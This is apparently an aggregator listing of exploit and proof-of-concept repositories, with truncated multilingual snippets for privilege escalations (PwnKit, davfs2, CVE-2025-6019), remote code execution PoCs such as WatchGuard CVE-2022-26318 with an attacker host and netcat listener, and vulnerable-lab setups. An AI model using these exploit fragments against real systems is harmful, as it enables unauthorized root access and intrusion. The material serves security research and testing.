Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation

Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation Exploite automatiquement les systèmes disposant de davfs2 vulnérable CVE-2013-4362 À QUOI ÇA SERT ? Juste deux scripts .sh pour simplifier l'exploitation de davfs2 avec les versions vulnérables Prérequis Au moins l'un des modules 'fuse' ou...

CVE-2021-39273-CVE-2021-39274

CVE-2021-39273 Dans XeroSecurity Sn1per 9.0 version gratuite, des permissions non sécurisées 0777 sont définies lors de l'exécution de l'application, permettant à un utilisateur non privilégié de modifier l'application, les modules et les fichiers de configuration. Cela conduit à une exécution de...

gogs

gogs Ici, nous allons configurer notre laboratoire dans notre machine virtuelle SEED Ubuntu 16.04 et nous devons d'abord installer le Go Git Service GOGS sur notre VM avant de pouvoir passer à l'exploitation de la vulnérabilité d'injection SQL. Pour configurer la VM, voici les étapes : Étape 1 :...

external_expat_2.1.0_CVE-2022-43680

Expat, version 2.1.0 Ceci est Expat, une bibliothèque C pour l'analyse de XML, écrite par James Clark. Expat est un analyseur XML orienté flux. Cela signifie que vous enregistrez des gestionnaires auprès de l'analyseur avant de commencer l'analyse. Ces gestionnaires sont appelés lorsque l'analyse...

cfengine-CVE_2015_0235

CVE20150235 Exploit de débordement de tampon de gethostbyname dans glibc - CVE-2015-0235 https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability Initialement issu du message de Ben Bomgardners sur la liste de diffusion help-cfengine...

cfengine-CVE-2016-2118

+Title: Inventaire et remédiation CVE-2016-2118 +SETUPFILE: /src/org-html-themes/setup/theme-readtheorg.setup file:./media/badlock.png Cette politique détecte les hôtes vulnérables à https://vulners.com/cve/CVE-2016-2118CVE-2016-2118 communément appelé http://badlock.orgBadlock en vérifiant si un...

cve-2016-0728-testbed

Banc d'essai pour CVE-2016-0728 Ce dépôt contient un programme de test pour CVE-2016-0728, une fuite de compteur de références refcount et un débordement dans Linux, menant à une utilisation après libération use-after-free. Le bogue a été découvert et expliqué par Perception Point. Je ne suis pas...

xzwhy

xzwhy root@kitploit: / / / / \ / /\ Ce projet est une preuve de concept POC compatible Kubernetes pour CVE-2024-3094 affectant XZ Utils. Consultez cet article pour une excellente présentation de la provenance et des mécanismes de l'exploit. AVERTISSEMENT ⚠⚠⚠ L'exécution de l'une des commandes...

CVE-2025-6019_Exploit

CVE-2025-6019Exploit Étape 1 : Sur un appareil Linux, exécutez 1.sh pour construire xfs.image. Étape 2 : Transférez xfs.image sur l'appareil victime et exécutez 2.sh. Le résultat ci-dessous indique la réussite. root@kitploit: neko@aosc-neko205 tmp $ bash 2.sh 当前用户: neko uid=1000neko gid=1001neko...

CVE-2021-4034

CVE-2021-4034 root@kitploit: $ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1" gconv-modules mkdir -p GCONVPATH=. cp /usr/bin/true GCONVPATH=./pwnkit.so:. $ ./cve-2021-4034 whoami root exit...

CVE-2020-7471

CVE-2020-7471 SQL-инъекция через ввод разделителя StringAgg Установка: Запустите ./setup.sh для первоначальной настройки Откройте docker-образ, чтобы запустить базу данных: docker exec -it containerid /bin/bash И выполните следующие команды: root@kitploit: python manage.py makemigrations vulapp...

cve-2019-2215_SH-M08

Version portée sur AQUOS sense 2 SH-M08 d'un code de preuve de concept POC permettant d'obtenir les privilèges root sur les terminaux Android ayant reçu des correctifs de sécurité antérieurs à octobre 2019. Environnement d'exécution Le fonctionnement a été vérifié avec les versions d'OS suivantes...

CVE-2020-27223

CVE-2020-27223 Использование root@kitploit: $ mvn spring-boot:run 9.4.36.v20210114 root@kitploit: $ ./poc/cve-2020-27223-poc1.sh "timens":"58,557","acceptlanguage":"aab" real 0m0.093s 🐇 user 0m0.006s sys 0m0.007s "timens":"18,461,763,438","acceptlanguage":"ahn" real 0m35.339s 🐢 user 0m0.006s sys...

TrustTunnel v1.1.0

Clients · App store · Play store Table of Contents Introduction Server Features Client Features Quick start Endpoint setup Install the endpoint Updating the endpoint Endpoint configuration wizard Let's Encrypt certificate lifecycle Running endpoint Export client configuration Client setup Install...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian Vue d'ensemble Ce dépôt est un environnement PoC de CVE-2014-6271. Vous pouvez déployer un service web vulnérable à l'aide de l'image conteneur apache2. Préparation Construction de l'image Construisez l'image non sécurisée à partir du Dockerfile. root@kitploit: docker...

CVE-2020-13424

Titre de l'exploit: Joomla! Plugin XCloner Backup 3.5.3 - Inclusion de fichier local Authentifié Date: 2020-05-10 Exploit Author: Mehmet Kelepçe / Gais Cyber Security Exploit-Db Author ID: 8763 Reference: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Watchguard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

CitrixBleed-2-CVE-2025-5777-PoC-

CitrixBleed 2 CVE-2025-5777 궁극 분석 NetScaler ADC / Gateway의 Out-of-Bounds Memory Read — 원인부터 공방 실전까지의 전방위 매뉴얼 PoC 사용법: python3 poc.py https://gateway.example.com Exp 사용법: python3 exp.py https://gateway.example.com admin 7acbb35f4d... 목차 root@kitploit: 0x00 引言 / 速览 0x01 背景：NetScaler 架构与 CitrixBleed...

CVE-2020-7247-reproducer

CVE-2020-7247 OpenSMTPD Информация Этот репозиторий содержит необходимые файлы для создания Docker-образа с уязвимой средой OpenSMTPD 6.6.1p1. Уязвимость позволяет злоумышленнику выполнять произвольные команды через специально сформированную SMTP-сессию, а именно в поле MAIL FROM. Использование 1...

CVE-2022-29078

CVE-2022-29078 ejs 3.1.6 docker vulnérable Installation root@kitploit: git clone https://github.com/miko550/CVE-2022-29078.git cd CVE-2022-29078 docker build . -t miko/vuln-ejs docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs Utilisation root@kitploit: http://127.0.0.1:49160/ Exploitatio...